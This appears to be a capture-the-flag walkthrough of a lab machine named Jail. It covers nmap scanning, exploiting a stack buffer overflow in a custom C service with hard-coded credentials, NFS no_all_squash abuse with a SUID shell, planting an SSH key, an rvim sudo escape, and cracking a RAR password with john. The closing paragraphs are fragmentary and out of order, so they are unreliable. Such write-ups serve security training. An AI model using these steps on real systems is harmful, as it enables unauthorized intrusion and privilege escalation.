As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Sun Mar 12 11:29:05 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.34
Nmap scan report for 10.10.10.34
Host is up (0.058s latency).
Not shown: 65497 filtered tcp ports (no-response), 32 filtered tcp ports (host-prohibited)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
7411/tcp open daqstream
20048/tcp open mountd
# Nmap done at Sun Mar 12 11:29:32 2023 -- 1 IP address (1 host up) scanned in 26.51 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
Which contains three files. Let's download them to our current directory.
Exploitation
The compile.sh file is a bash script to compile the jail.c code into the jail binary. It does the compilation for a 32 bits environment and makes the stack executable.
gcc -o jail jail.c -m32 -z execstack
service jail stop
cp jail /usr/local/bin/jail
service jail start
If we review the code of the binary, we'll see the following.
The main function creates a socket that listens on port 7411 accepting connections.
int main(int argc, char *argv[]) {
int sockfd;
int newsockfd;
int port;
int clientlen;
char buffer[256];
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int n;
int pid;
int sockyes;
sockyes = 1;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("Socket error");
exit(1);
}
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &sockyes, sizeof(int)) == -1) {
perror("Setsockopt error");
exit(1);
}
memset((char*)&server_addr, 0, sizeof(server_addr));
port = 7411;
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(port);
if (bind(sockfd, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
perror("Bind error");
exit(1);
}
listen(sockfd, 200);
clientlen = sizeof(client_addr);
while (1) {
newsockfd = accept(sockfd, (struct sockaddr*)&client_addr, &clientlen);
if (newsockfd < 0) {
perror("Accept error");
exit(1);
}
pid = fork();
if (pid < 0) {
perror("Fork error");
exit(1);
}
if (pid == 0) {
close(sockfd);
exit(handle(newsockfd));
} else {
close(newsockfd);
}
}
}
There are hard-coded credentials.
if (strcmp(username, "admin") != 0) return 0;
strcpy(userpass, password);
if (strcmp(userpass, "1974jailbreak!") == 0)
There is a initial loop checking for lines that start with USER, PASS or DEBUG.
The userpass buffer is only 16 bytes long, but there is no check to ensure that the password parameter passed to the function will fit within the userpass buffer. This means that we could pass in a long password that would overflow the buffer and overwrite adjacent memory, potentially allowing the attacker to execute arbitrary code or take control of the system.
By entering the DEBUG mode and introducing the credentials, we get an address that is always the same. This might be useful later.
nc 10.10.10.34 7411
OK Ready. Send USER command.
DEBUG
OK DEBUG mode on.
USER admin
OK Send PASS command.
PASS 1974jailbreak!
Debug: userpass buffer @ 0xffffd610
OK Authentication success. Send command.
Buffer Overflow
Let's exploit the buffer overflow vulnerability found in the jail binary. Run the binary with gdb.
gdb ./jail
Run the binary. To interact with it,we'll have to run the following commands.
gef⤠set detach-on-fork off
gef⤠set follow-fork-mode child
gef⤠r
Now, we can connect to the localhost on port 7411 and send a bunch of A characters as the password.
nc localhost 7411
OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
We should have overwritten all the registries, including EIP and ESP.
Before continuing, note that the address that we get in the DEBUG mode when the binary is executed in our local machine is 0xffffcad0.
nc localhost 7411
OK Ready. Send USER command.
DEBUG
OK DEBUG mode on.
USER admin
OK Send PASS command.
PASS 1974jailbreak!
Debug: userpass buffer @ 0xffffcad0
OK Authentication success. Send command.
As in every buffer overflow, we need to find the offset to control the EIP value. Create a pattern with gef and copy it.
gef⤠pattern create 50
[+] Generating a pattern of 50 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
[+] Saved as '$_gef0'
Now, restart the program. As the copy of the program that gdb is using crashes, we'll need to kill its PID every time it crashes.
As the script was compiled by disabling data execution prevention, it is possible to write shellcode into the stack. The idea is to inject the shellcode into ESP, and point to it with EIP. But we don't know the address of ESP running in the jail machine.
But we have the address 0xffffcad0 that we got with the DEBUG mode. If we check its content, we'll see that it contains the payload we just sent.
This means that it is the address of the userpass variable. This means that we can calculate the address of ESP, and point to it with EIP. As the offset is 28, and 4 bytes after EIP is ESP, that means that the address of the userpass variable plus 32 is the address of ESP.
Now, we have everything we need to exploit the buffer overflow. But first, we have to generate our shellcode.
The following script will send as the password a payload that consists of the junk, followed by the address of ESP where EIP is located and the shellcode where ESP is located. This way the program will reach EIP, point to ESP, and the shellcode will be executed.
Now the script should work, and we should get a bash shell.
python overflow.py
⯠python overflow.py
[+] Opening connection to 127.0.0.1 on port 7411: Done
[*] Switching to interactive mode
$ whoami
root
It's time to exploit the victim machine. All we have to do is change the address of the userpass variable to the one we got earlier, and change the IP address to 10.10.10.34.
Run the script and get a shell as nobody in the jail machine.
⯠python overflow.py
[+] Opening connection to 10.10.10.34 on port 7411: Done
[*] Switching to interactive mode
$ whoami
nobody
Privilege Escalation
Port 2049 (NFS) is also open as we saw in the nmap scan. By reading the /etc/exports we'll see two directories configured as no_all_squash, which basically gives authority to any user on the client to access files on the NFS server as that user.
Export list for 10.10.10.34:
/opt *
/var/nfsshare *
Let's create two directories in /mnt, and mount the shares there.
mkdir /mnt/opt /mnt/var
mount -t nfs 10.10.10.34:/opt /mnt/opt/
mount -t nfs 10.10.10.34:/var/nfsshare /mnt/var/
Note that my local user alfa8sa with UID 1000 has permission to create files on the /mnt/var directory.
ls -la /mnt/
total 8
drwxr-xr-x 4 root root 4096 Mar 12 22:17 .
drwxr-xr-x 21 root root 4096 Mar 12 22:17 ..
drwxr-xr-x 4 root root 33 Jun 26 2017 opt
drwx-wx--x 2 root alfa8sa 45 Mar 12 15:11 var
This means that if I create a file as alfa8sa, it will have the permissions of the user with the UID 1000 on the jail machine, which is the frank user.
grep 1000 /etc/passwd
frank:x:1000:1000:frank:/home/frank:/bin/bash
The idea is to create a binary that will spawn a shell, and give it SUID permissions. First, on our local machine, create a file with the following C code.
Then, become your local user with UID 1000, in my case is alfa8sa, and copy the binary to the /mnt/var/ directory.
su alfa8sa
cp privesc /mnt/var/
Give the file SUID permissions.
chmod +s /mnt/var/privesc
Now, on the jail machine, run the binary and get a shell as frank. Then, we'll be able to grab the user flag.
/var/nfsshare/privesc
$ whoami
frank
$ cat /home/frank/user.txt
9c335245b90fc27399e7bfdaed742272
As the frank user has an authorized_keys file in his .ssh directory, we could put our public SSH key there and get a shell via SSH. First, create a pair of keys on our local machine. We'll have to do it with a special algorithm because RSA don't work in this machine.
ssh-keygen -t ecdsa -b 521
Copy our public key.
cat id_ecdsa.pub | tr -d "\n" | xclip -sel clip
And put it in the authorized_keys file of the victim machine.
The authenticity of host '10.10.10.34 (10.10.10.34)' can't be established.
ED25519 key fingerprint is SHA256:EDRmVqe5F/kWQaAYcJa7S1KHu5eANG67Izd7IasI8dY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.34' (ED25519) to the list of known hosts.
[frank@localhost ~]$ whoami
frank
If we list sudo permissions, we'll see that we can run /usr/bin/rvim on /var/www/html/jailuser/dev/jail.c as the adm user.
sudo -l
Matching Defaults entries for frank on this host:
!visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS
LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User frank may run the following commands on this host:
(frank) NOPASSWD: /opt/logreader/logreader.sh
(adm) NOPASSWD: /usr/bin/rvim /var/www/html/jailuser/dev/jail.c
If we search for rvim in the GTFOBins list, we can see that we can spawn a shellwith the sudo privilege.
GTFOBins is a great list of binaries that can be used to escalate privileges if you have the right permissions:
First, run the command that we are allowed to run as adm.
If we try to decompress the file, we'll see that it asks for a password.
unrar x keys.rar
UNRAR 6.21 beta 1 freeware Copyright (c) 1993-2023 Alexander Roshal
Extracting from keys.rar
Enter password (will not be echoed) for rootauthorizedsshkey.pub:
The note.txt file says that some password is the last name of frank followed by four numbers and a special character.
cat /var/adm/.keys/note.txt
Note from Administrator:
Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.
The .local directory has another file inside called .frank.
Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!
It detects that the message has been encrypted with Atbash Cipher. It is able to decipher the message.
It says something about escaping Alcatraz. Some googling will show that there was a guy who escaped jail in Alcatraz called Frank Morris.
Now we have the last name of Frank and a year with four digits, we need to know the special character. We can create a wordlist with crunch composed of the Morris1962 and a special character.
crunch 11 11 -t Morris1962^ > pwds
Now, get the hash of the keys.rar file.
rar2john keys.rar > keys.rar.hash
And break the password with john using the custom dictionary.
john --wordlist=pwds keys.rar.hash
Using default input encoding: UTF-8
Loaded 1 password hash (rar, RAR3 [SHA1 128/128 SSE2 4x AES])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Morris1962! (keys.rar)
1g 0:00:00:00 DONE (2023-03-12 23:07) 6.250g/s 206.2p/s 206.2c/s 206.2C/s Morris1962!..Morris1962
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Now, decompress the keys.rar file using the Morris1962! password.
unrar x keys.rar
UNRAR 6.21 beta 1 freeware Copyright (c) 1993-2023 Alexander Roshal
Extracting from keys.rar
Enter password (will not be echoed) for rootauthorizedsshkey.pub:
Extracting rootauthorizedsshkey.pub OK
All OK
The compressed file contained a public key called rootauthorizedsshkey.pub.
cat rootauthorizedsshkey.pub
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQYHLL65S3kVbhZ6kJnpf072
YPH4Clvxj/41tzMVp/O3PCRVkDK/CpfBCS5PQV+mAcghLpSzTnFUzs69Ys466M//
DmcIo1pJGKy8LDrwdpsSjVmvSgg39nCoOYMiAUVF0T0c47eUCmBloX/K8QjId6Pd
D/qlaFM8B87MHZlW1fqe6QKBgQVY7NdIxerjKu5eOsRE8HTDAw9BLYUyoYeAe4/w
Wt2/7A1Xgi5ckTFMG5EXhfv67GfCFE3jCpn2sd5e6zqBoKlHwAk52w4jSihdzGAx
I85LArqOGc6QoVPS7jx5h5bK/3Oqm3siimo8O1BJ+mKGy9Owg9oZhBl28CfRyFug
a99GCw==
-----END PUBLIC KEY-----
If we run the script, we'll see that it doesn't work. This might happen because ESP has limited space. But, we can change the shellcode to with will fit ESP.
We can put this cipher text into the .
But it seems like it is quite short. It might be a weak key that we can break. Let's use and try to break it.
As we can see , we need to add the following parameter. Then, we'll be able to log in as root, and all we have to do is reap the harvest and take the root flag.